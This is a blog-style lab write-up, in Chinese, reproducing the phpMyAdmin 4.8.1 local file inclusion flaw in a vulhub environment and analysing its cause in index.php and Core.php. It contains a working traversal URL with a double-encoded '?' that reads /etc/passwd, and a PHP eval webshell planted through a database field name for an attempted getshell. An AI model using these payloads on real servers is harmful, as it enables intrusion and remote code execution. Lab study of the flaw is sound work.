漏洞利用过程:
vulhub.org
docker环境启动后
1.访问
http://your-ip:8080 访问phpmyadmin。 配置的是config模式,无需输入密码,直接登录test账户
2.访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
即可包含本地文件
![](https://i-blog.csdnimg.cn/blog_migrate/403a5542a9d4d1dfc624124afe3ab997.png)
还可以进行getshell
思路:把webshell写入到数据库中然后包含数据库文件
测试发现把webshell当作数据库的字段名字可以写入到数据库文件
写入webshell
<?php eval($_GET[a]); ?>
![](https://i-blog.csdnimg.cn/blog_migrate/fed13f5421e4d054706e7f4a8a1962fe.png)
要找到这个文件
这里要熟悉目录结构了。。
我是直接在靶机里面搜索了一下,因为还不熟悉目录结构
find / -name "*.frm" 2>/dev/null
![](https://i-blog.csdnimg.cn/blog_migrate/313a1f46ee432c60a712a41ca8c385fd.png)
路径太长了,懒得在kali里面慢慢打
![](https://i-blog.csdnimg.cn/blog_migrate/2e70b7d27a913c1235bac742ac938394.png)
复制一份,然后包含
![](https://i-blog.csdnimg.cn/blog_migrate/1b04e13f76ce9fccff5f0f03dff3c428.png)
不行呀,原因暂时不晓得,还得深入分析
换成正常的路径吧
![](https://i-blog.csdnimg.cn/blog_migrate/ac9dbdd98f522e856adf9d99f6a14de6.png)
![](https://i-blog.csdnimg.cn/blog_migrate/5f38f1b719b655e734401eea5d5ecc69.png)
也不行。。。先复现到这里
漏洞原理分析:
对应官网版本为 phpMyAdmin-4.8.1-all-languages.zip
下载地址:https://www.phpmyadmin.net/files/
找到对应版本即可
漏洞出现在 /index.php
第54~63行
![](https://i-blog.csdnimg.cn/blog_migrate/c0103c667e158cd796fde8d48ca16dc5.png)
61行包含文件! 文件包含漏洞的特征!
56 行 判断target是不是为空
57行 限制参数target不能以index开头
58行 限制参数targetb不能出现在黑名单里
绕过限制:
首先找到$target_blacklist
![](https://i-blog.csdnimg.cn/blog_migrate/caf036249d3acfcbce9dc45e8df17387.png)
不能为这两个文件名即可
59行限制
![](https://i-blog.csdnimg.cn/blog_migrate/b5fa770b877ca4f34383880501056b52.png)
首先找到这个类的该方法
位于/libraries/classes/Core.php
![](https://i-blog.csdnimg.cn/blog_migrate/8b9c1fbb8dc7db25b853cdeb9625397a.png)
![](https://i-blog.csdnimg.cn/blog_migrate/0ce34c18e4dfde6a95e74c0833d3515e.png)
问题出在465行
经过了url编码
我们把?两次编码为 %253f即可绕过验证
![](https://i-blog.csdnimg.cn/blog_migrate/2206628a237dff9dffb4063b13aa7dbe.png)
![](https://i-blog.csdnimg.cn/blog_migrate/2a6db6919ed9a0c513d167b4a8ef09fb.png)
原理是因为$_REQUEST 已经被解码过一次,所以这里编码两次最终会被解码两次
问题:
最后首先要输入一个存在的文件,比如db_sql.php 然后用编码编码后的?拼接
不过为什么要拼接一下以后才能读取后面的文件呢。。。
这个应该和include这个函数的特性有关吧,或者是$_REQUEST这个超全局变量有关?
备注:
部分内容与参考文章相似,只为参考学习使用,如侵权请联系我删除
参考文章:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog